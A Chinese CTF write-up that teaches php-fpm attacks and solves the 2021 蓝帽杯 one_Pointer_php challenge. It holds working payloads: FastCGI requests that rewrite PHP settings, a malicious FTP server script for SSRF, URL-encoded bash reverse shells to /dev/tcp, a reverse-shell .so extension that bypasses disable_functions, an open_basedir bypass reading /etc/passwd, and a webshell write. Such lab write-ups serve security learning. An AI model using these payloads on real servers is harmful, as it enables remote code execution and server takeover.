通过一道CTF题学习php-fpm攻击

  • A+
所属分类:CTF专场

通过一道CTF题学习php-fpm攻击

初识php-fpm

在我们早期的web服务器只处理html等静态文件,后来随着技术发展,出现了像php等动态语言,但是web服务器并不能处理他,这个时候就需要一个叫做php解释器的东西来处理,但是php解释器如何与网络服务器进行通信呢?随之出现了CGI协议,可以实现语言解释器与web服务器的通信,例如php-cgi,再后来就发展出了CGI的改进版本Fast-cgi通讯协议。


而php-fpm全称为php-Fastcgi Process Manager,顾名思义他是Fast-cgi的实现,并提供了进程管理的功能,他负责按照Fast-cgi的协议将TCP流解析成php-fpm真实的数据,可以侦听9000端口,我们可以自己构造Fast-cgi协议,并php-fpm进行通信。

php-fpm未授权访问突破

简单的来说,nginx会把我们的请求变成key-value键值对,然后我们通过设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码,最后更改的环境变量大概如下。

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'


如果PHP-FPM是直接绑定在公网(0.0.0.0)上的,那么我们就可以伪装成Web服务器中间件来让PHP-FPM执行我们想执行的恶意代码,这里phith0n大神写好了exp可以一键打。

python fpm.py ip -p 9000 /var/www/html/index.php -c '<?php echo `id`;exit;?>'

通过一道CTF题学习php-fpm攻击


可以观察到攻击之后auto_prepend_fileallow_url_include的值已经被修改了


通过一道CTF题学习php-fpm攻击


ssrf中的FPM / FastCGI

上面说了如果php-fpm是是绑定在127.0.0.1就可以避免暴露在公网被攻击但是如果ssrf存在存在的话我们还是可以通过ssrf突破攻击内网的php-fpm。


以下是一个具有ssrf防御的代码

<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);   
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);
echo $responseText;
curl_close($curl);?>

然后用Gopherus生成payload

python gopherus.py --exploit fastcgi

然后填一个已知文件和需要执行的命令即可


通过一道CTF题学习php-fpm攻击


编码后给url传即可


通过一道CTF题学习php-fpm攻击

ftp攻击FPM / FastCGI

如果目标主机上正在运行着PHP-FPM,并且有一个file_put_contents()函数的参数是可控的,我们上面是利用了gopher://协议,但是file_put_contents()函数并不支持他,这里可以使用的是ftp协议。


这里使用的是FTP协议的被动模式:客户端试图从FTP服务器上读取/写入一个文件,服务器会通知客户端将文件的内容读取到一个指定的IP和端口上,我们可以指定到127.0.0.1:9000,这样就可以向目标PHP-FPM主机本地的发送一个任意的数据包,从而执行代码,造成SSRF。


如果有以下代码

<?php
file_put_contents($_GET['file'], $_GET['data']);

我们先用gopherus生成一个反弹shell的payload,截取_后面的部分

关于FTP的返回码,我们看到227

Entering Passive Mode <h1,h2,h3,h4,p1,p2> 进入被动模式(h1,h2,h3,h4,p1,p2)

我们可以用他来进入被动模式,h和p分别为地址和端口,建造一个恶意的ftp服务器。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 123))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcomen')
conn.send(b'331 Please specify the password.n')
conn.send(b'230 Login successful.n')
conn.send(b'200 Switching to Binary mode.n')
conn.send(b'550 Could not get the file size.n')
conn.send(b'150 okn')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)n') #STOR / (2)
conn.send(b'150 Permission denied.n')
conn.send(b'221 Goodbye.n')
conn.close()

启动服务器之后再监听反弹的端口

http://ip:8080/ftp.php?file=ftp://@ip:123/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0F%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F!SCRIPT_FILENAME/usr/share/nginx/html/phpinfo.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system(%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/ip/1234%200%3E%261%22%27)%3Bdie(%27-----Made-by-SpyD3r-----%0A%27)%3B%3F%3E%00%00%00%00

通过一道CTF题学习php-fpm攻击

加载so扩展

为什么要加载so扩展,如果disable_functions过滤了命令执行的函数,我们再用脚本fpm.py打。


通过一道CTF题学习php-fpm攻击


观察到虽然auto_prepend_file和allow_url_include的值已经被修改了,按理正常来说就是我们可以执行任意代码,但是这里无法bypass disable,所以需要加载一个so扩展来bypass。


蚁剑插件原理


蚁剑是有一个php-fpm绕过disable的插件

蚁剑的bypass插件他这里的话是通过/bin/sh -c php -n -S 127.0.0.1:60049 -t /var/www/html,起了一个新的PHP Server,-n就是不使用php.ini,从而实现了bypass disable_functions,然后在插件的源码可以看到,从133行起的exploit()函数里面,有一个生成扩展,上传扩展,然后最主要的部分是从197行开始构造请求包攻击使用php-fpm加载扩展,关键代码如下。

197 var payload = `${FastCgiClient()};
198     $content="";
199     $client = new Client('${fpm_host}',${fpm_port});
        ...
211     'PHP_VALUE' => 'extension=${p}',
212     'PHP_ADMIN_VALUE' => 'extension=${p}',

那么总结下来的整个攻击流程就是:首先生成扩展,攻击php-fpm执行扩展,然后就会在目标机器本地开启一个新的web服务器,通过antproxy.php转发到无disable的php server上,此时就成功达成了bypass disable_function。


这个项目ant_php_extension可以获取我们的so扩展,我们这里需要通过编译之后生成,命令为phpize && ./configure && make,这里phpize需要是绝对路径,然后我们可以修改php-fpm的php.ini文件,在最后一行加入extension=/var/www/html/ant.so,表示加载这个扩展,再重启php-fpm,写一个php文件测试一下。

<?php
antsystem("ls /");

成功执行命令时即说明扩展成功加载,然后再把php.ini还原,尝试直接攻击php-fpm来修改其配置项,脚本如下:https : //php.okawhio.repl.co/static/1.py。


通过一道CTF题学习php-fpm攻击


CTF译文


我们看到[[2021蓝帽杯] one_Pointer_php](https://buuoj.cn/challenges# [蓝帽杯2021] One Pointer PHP)这道题

首先给了两个文件

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;    // 数组$count的第几个属性赋值为1
if($count[]=1){
  $user->count+=1;
  setcookie("data",serialize($user));
}else{
  eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}?>

user.php

<?php
class User{
public $count;
}?>

首先第一个考点就是要进入else语句里面,利用的是PHP重复溢出绕过,我们给cookie传一个

data=O:4:"User":1:{s:5:"count";i:9223372036854775806;}

然后写一个木马进去

 /add_api.php?backdoor=file_put_contents("1.php","<?php%20eval($_POST[1])?>");

看phpinfo之后发现大多数命令执行的函数都被禁了,但我们可以用chdir()与ini_set()读文件

<?php
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');?>

读取/proc/self/cmdline发现当前进展是php-fpm,再读取/etc/nginx/sites-available/default。


通过一道CTF题学习php-fpm攻击


发现关键信息fastcgi_pass 127.0.0.1:9001php-fpm绑定在了本地9001端口上。


写一个so扩展

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}

然后编译一下

gcc a.c -fPIC -shared -o a.so

把扩展上传到服务器上,然后用下面的脚本生成一个payloadhttps://php.okawhio.repl.co/static/2.py
然后我们通过构造file_put_contents()与我们vps上恶意的ftp服务器建立连接

/add_api.php?backdoor=$file%20=%20$_GET['file'];$data%20=%20$_GET['data'];file_put_contents($file,$data);&file=ftp://@ip:23/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

通过一道CTF题学习php-fpm攻击


可以看到成功反弹了,然后

find / -perm -u=s -type f 2>/dev/null

查看具有suid的命令,php -a相互作用后直接读flag就行了


通过一道CTF题学习php-fpm攻击

参考链接

https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/


通过一道CTF题学习php-fpm攻击

本文始发于微信公众号(疯猫网络):通过一道CTF题学习php-fpm攻击

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: